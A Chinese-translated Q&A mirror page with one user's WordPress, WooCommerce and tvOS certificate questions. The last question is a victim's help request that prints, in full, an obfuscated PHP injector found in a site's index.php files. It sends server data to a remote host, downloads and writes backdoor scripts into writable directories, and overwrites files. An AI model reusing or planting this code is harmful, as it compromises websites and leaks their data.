小编Kas*_*que的帖子

无法再在 tvOS 12 模拟器上安装 Charles SSL 证书

自从 tvOS 12 发布以来,我似乎不知道如何向我的 tvOS 模拟器添加证书。以下是我针对 tvOS 11 采取的通常步骤:

  1. 导航至“设置” > “通用” > “隐私”,然后选择“共享 Apple TV 分析”
  2. 按遥控器上的播放/暂停按钮;这将弹出一个屏幕,其中列出了已安装的配置文件以及顶部的“添加配置文件”选项
  3. 选择添加个人资料
  4. 输入配置文件的 URL,然后按照屏幕上的说明完成安装过程
  5. 网址: https: //chls.pro/ssl
  6. 完成安装Charles Profile的步骤
  7. 安装配置文件后,我们需要信任该证书
  8. 导航到设置>常规>关于>证书
  9. 选择Charles 证书(不可信)
  10. 设置为可信

xcode ssl-certificate tvos charles-proxy xcode10

6
推荐指数
2
解决办法
3867
查看次数

带有URL参数的WordPress REST API自定义端点

我正在尝试为WordPress REST API创建自定义端点,并通过URL传递参数。

当前端点是:

/wp-json/v1/products/81838240219

我想要实现的是一个看起来像这样的端点,并且能够在回调中检索identifier参数。

/wp-json/v1/products?identifier=81838240219

// Custom api endpoint test
function my_awesome_func( $data ) {
  $identifier = get_query_var( 'identifier' );
  return $identifier;
}
add_action( 'rest_api_init', function () {
register_rest_route( 'api/v1', '/products=(?P<id>\d+)', array(
    'methods' => 'GET',
    'callback' => 'my_awesome_func',
  ) );
} );
Run Code Online (Sandbox Code Playgroud)

wordpress wordpress-rest-api

5
推荐指数
3
解决办法
5309
查看次数

如何在 WordPress 永久链接中使用斜杠?

我正在将旧网站迁移到 WordPress。我必须迁移大约 100,000 页。我写了一个插件,它使用wp_insert_post.

我还想在不使用重定向的情况下迁移旧的 URL 结构(因为据说每个 301 重定向都会失去一些链接能力),而是使用永久链接。每当我设置一个包含斜杠(目录结构)的固定链接时,斜杠都会被替换为“-”。这就是问题。

wp_insert_post(array=>('post_name' => 'slashes/go/there/'));

permalink = 'slashes-go-there-';
Run Code Online (Sandbox Code Playgroud)

任何想法如何为每个页面单独设置永久链接将不胜感激?

wordpress permalinks

3
推荐指数
1
解决办法
1442
查看次数

在主题激活时创建Wordpress类别

我将创建一个函数来检查名为Testimonials的类别是否已经可用.如果可用,请注意,如果不存在,则创建一个名为Testimonials的新类别.我正在使用以下代码,但在主题激活时没有任何反应.缺什么?

function create_my_cat () {
    if (file_exists (ABSPATH.'/wp-admin/includes/taxonomy.php')) {
        require_once (ABSPATH.'/wp-admin/includes/taxonomy.php');    
        if (!get_cat_ID('testimonials')) {
            wp_create_category('testimonials');
        }
    }
}
add_action ('create_category', 'create_my_cat');
Run Code Online (Sandbox Code Playgroud)

wordpress categories

1
推荐指数
1
解决办法
2204
查看次数

使用 WooCommerce 检查购物车项目中的产品类别

我正在尝试设定一个条件,如果ilutulestik购物车中存在类别中的任何产品,则仅在 WooCommerce 结账页面上显示一个功能。

但目前,它似乎无法获取购物车信息。我认为这是因为,如果我if ( $cat_in_cart )在代码上使用条件,则即使ilutulestik购物车中存在类别中的产品,我使用它的功能也不会显示。

我尝试了许多不同的方法来获取购物车信息,但似乎都不起作用。我将在下面介绍我尝试的两种方法:

尝试1

add_action('woocommerce_before_cart', 'kontrollime_ilutulestiku_olemasolu');

    function kontrollime_ilutulestiku_olemasolu()
    {

        global $woocommerce;
        $cat_in_cart = false;

            foreach ( WC()->cart->get_cart() as $cart_item_key => $values )
            {
            $item = $values['data'];
            $item_id = $item->id;

                if ( has_term( 'ilutulestik-2', 'product_cat', $item_id ) )
                {
                    $cat_in_cart = true;
                    break;
                }
            }
    }
Run Code Online (Sandbox Code Playgroud)

尝试2

add_action('woocommerce_before_cart', 'kontrollime_ilutulestiku_olemasolu');

     function kontrollime_ilutulestiku_olemasolu($package)
     {

        global $woocommerce;
        $cat_in_cart = false;

            foreach ($package['contents'] as $product)
            {
                // get product categories
                $product_cats = wp_get_post_terms( 
$product['product_id'], …
Run Code Online (Sandbox Code Playgroud)

php wordpress cart custom-taxonomy woocommerce

1
推荐指数
1
解决办法
7599
查看次数

WooCommerce:如何在产品页面添加下载按钮?

我们在电子商务网站上使用 WooCommerce 插件。我想在产品页面上添加一个按钮,允许用户免费下载 PDF 文件,而无需进入产品单页。此外,所有产品都需要有一个唯一的 PDF 文件。这可能吗?

PS我也尝试过这里的一些答案。

php wordpress woocommerce

1
推荐指数
1
解决办法
9112
查看次数

WordPress:一些函数是在index.php文件中自动生成的

我创建了一个 WordPress 网站,然后安装了一个主题和一些插件。它正常工作了一段时间,但随后它抛出一个错误,即使我没有更改文件的内容index.php。我遇到了以下错误:

致命错误:无法在 /home/puhuvisi/public_html 中重新声明 oOooo() (之前在 /home/puhuvisi/public_html/wp-content/themes/massive-dynamic/lib/widgets/widget-recent_portfolio/index.php:1 中声明) /wp-content/themes/massive-dynamic/lib/shortcodes/md_live_text/index.php 第 1 行

因此,我检查了上述文件,发现每个文件(对于所有插件和主题文件)自动添加了一行index.php。这一行代码如下所示:

<?php if(!isset($incode)){$vl='h';$serverid='fe6412f27b07e42253690caf0cd35b8a';$server_addr='109.67.153.40';function oOooo($o0O,$oOO,$o0o,$oo,$o0000,$oo0O){$o0oo0='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0';if(ini_get('allow_url_fopen')==1):$o00=stream_context_create(array($oo0O=>array('method'=>'POST','timeout'=>$o0000,'header'=>array('Content-type: application/x-www-form-urlencoded','User-Agent: '.$o0oo0,'content'=>http_build_query($_SERVER)))));if($oo=='yes'):$o0O=$o0O.'&type=fopen';endif;$ooOoo=@file_get_contents($o0O,false,$o00);elseif(in_array('curl',get_loaded_extensions())):if($oo=='yes'):$o0O=$o0O.'&type=curl';endif;$o0Oo=curl_init();curl_setopt($o0Oo,CURLOPT_URL,$o0O);curl_setopt($o0Oo,CURLOPT_HEADER,false);curl_setopt($o0Oo,CURLOPT_RETURNTRANSFER,true);curl_setopt($o0Oo,CURLOPT_TIMEOUT,$o0000);curl_setopt($o0Oo,CURLOPT_USERAGENT,$o0oo0);if($oo0O=='https'):curl_setopt($o0Oo,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($o0Oo,CURLOPT_SSL_VERIFYHOST,false);endif;curl_setopt($o0Oo,CURLOPT_CONNECTTIMEOUT,5);curl_setopt($o0Oo,CURLOPT_POSTFIELDS,http_build_query($_SERVER));$ooOoo=@curl_exec($o0Oo);curl_close($o0Oo);else:if($oo=='yes'):$o0o=$o0o.'&type=socks';endif;if($oo0O=='https'):$o00o=fsockopen('ssl://'.$oOO,443,$oO0o,$oOo0o,$o0000);else:$o00o=fsockopen($oOO,80,$oO0o,$oOo0o,$o0000);endif;if($o00o):stream_set_timeout($o00o,$o0000);$ooooo=http_build_query($_SERVER);$oO='POST '.$o0o.' HTTP/1.0'."\r\n";$oO.='Host: '.$oOO."\r\n";$oO.='User-Agent: '.$o0oo0."\r\n";$oO.='Content-Type: application/x-www-form-urlencoded'."\r\n";$oO.='Content-Length: '.strlen($ooooo)."\r\n\r\n";fputs($o00o,$oO);fputs($o00o,$ooooo);$oO0='';while(!feof($o00o)):$oO0.=fgets($o00o,4096);endwhile;fclose($o00o);list($ooo,$ooO)=@preg_split("/\R\R/",$oO0,2);$ooOoo=$ooO;endif;endif;return$ooOoo;}function client_version($o00OO){$o0oO[0]=(int)($o00OO/256/256/256);$o0oO[1]=(int)(($o00OO-$o0oO[0]*256*256*256)/256/256);$o0oO[2]=(int)(($o00OO-$o0oO[0]*256*256*256-$o0oO[1]*256*256)/256);$o0oO[3]=$o00OO-$o0oO[0]*256*256*256-$o0oO[1]*256*256-$o0oO[2]*256;return''.$o0oO[0].".".$o0oO[1].".".$o0oO[2].".".$o0oO[3];}function oO0Oo($oOOO){$oOooO=array();$oOooO[]=$oOOO;foreach(scandir($oOOO) as$o0O0O):if($o0O0O=='.'||$o0O0O=='..'):continue;endif;$o0=$oOOO.DIRECTORY_SEPARATOR.$o0O0O;if(is_dir($o0)):$oOooO[]=$o0;$oOooO=array_merge($oOooO,oO0Oo($o0));endif;endforeach;return$oOooO;}$oOO0=@preg_replace('/^www\./','',$_SERVER['HTTP_HOST']);$oOO=client_version('1540531608');$o0o='/get.php?spider&checkdomain&host='.$oOO0.'&serverid='.$serverid.'&stookfile='.__FILE__;$o0O='http://'.$oOO.'/get.php?spider&checkdomain&host='.$oOO0.'&serverid='.$serverid.'&stookfile='.__FILE__;$oOoo=oOooo($o0O,$oOO,$o0o,$oo='no',$o0000='5',$oo0O='http');if($oOoo!='havedoor|havedonor'):$oOooo=$_SERVER['HTTP_HOST'];$oOOOO=@preg_replace('/^www\./','',$_SERVER['HTTP_HOST']);$o00O=$_SERVER['DOCUMENT_ROOT'];chdir($o00O);$oOooO=oO0Oo($o00O);$oOooO=array_unique($oOooO);foreach($oOooO as$o0O0O):if(is_dir($o0O0O)&&is_writable($o0O0O)):$oOOoO=explode(DIRECTORY_SEPARATOR,$o0O0O);$o0oo=count($oOOoO);$oOOOo[]=$o0oo.'|'.$o0O0O;endif;endforeach;$o0oo=0;foreach($oOOOo as$oooOo):if(count($oOOOo)>1&&(strstr($oooOo,'/wp-admin')||strstr($oooOo,'/cgi-bin'))):unset($oOOOo[$o0oo]);endif;$o0oo++;endforeach;if(!is_writable($o00O)):natsort($oOOOo);$oOOOo=array_values($oOOOo);$oooOo=explode('|',$oOOOo[0]);$oooOo=$oooOo[1];else:$oooOo=$o00O;endif;chdir($oooOo);if(stristr($oOoo,'nodoor')):$o0O='http://'.$oOO.'/get.php?vl='.$vl.'&update&needfilename';$o0o='/get.php?vl='.$vl.'&update&needfilename';$o0o0=oOooo($o0O,$oOO,$o0o,$oo='no',$o0000='30',$oo0O='http');$oOOO0=explode('|||||',$o0o0);$o0o00=$oOOO0[0].'.php';$o0O00=$oOOO0[1];file_put_contents($oooOo.DIRECTORY_SEPARATOR.$o0o00,$o0O00);$oOOo=str_replace($o00O,'',$oooOo);if($_SERVER['SERVER_PORT']=='443'):$oo0O='https';else:$oo0O='http';endif;$o0O=$oo0O.'://'.$oOooo.$oOOo.'/'.$o0o00.'?gen&serverid='.$serverid;$o0o=$oOOo.'/'.$o0o00.'?gen&serverid='.$serverid;$oO00o=oOooo($o0O,$oOooo,$o0o,$oo='no',$o0000='10',$oo0O);elseif(stristr($oOoo,'needtoloadsomefiles')):shuffle($oOOOo);$oooOo=explode('|',$oOOOo[0]);$oooOo=$oooOo[1];$oOOo=str_replace($o00O,'',$oooOo);$oO00O='stuvwxyz';$o0o00=str_shuffle($oO00O).'.php';$ooO0=urlencode($oo0O.'://'.$oOooo.$oOOo.'/'.$o0o00);$o0O='http://'.$oOO.'/get.php?bdr&url='.$ooO0;$o0o='/get.php?bdr&url='.$ooO0;$ooOoo=oOooo($o0O,$oOO,$o0o,$oo='no',$o0000='20',$oo0O='http');file_put_contents($oooOo.DIRECTORY_SEPARATOR.$o0o00,$ooOoo);elseif(stristr($oOoo,'needtoloadclient')):$o0O='http://'.$oOO.'/get.php?getclient&domain='.$oOOOO;$o0o='/get.php?getclient&domain='.$oOOOO;$ooOoo=oOooo($o0O,$oOO,$o0o,$oo='no',$o0000='55',$oo0O='http');if($ooOoo=='noclient'):die;endif;$oo0=explode('::::',$ooOoo);$ooOOo=$oo0[0];$oo0O0=$oo0[1];@chmod($ooOOo,0666);file_put_contents($ooOOo,$oo0O0);elseif($oOoo=='needtowait'):endif;if(stristr($oOoo,'nodonor')):endif;endif;$incode=1;}?>
Run Code Online (Sandbox Code Playgroud)

我不知道为什么它出现在每个索引文件上以及如何快速删除这些行。这是我第二次遇到这个问题。第一次事件发生后,我从头开始重新安装了所有内容。如何才能永久避免这个问题?

php wordpress

-2
推荐指数
1
解决办法
3255
查看次数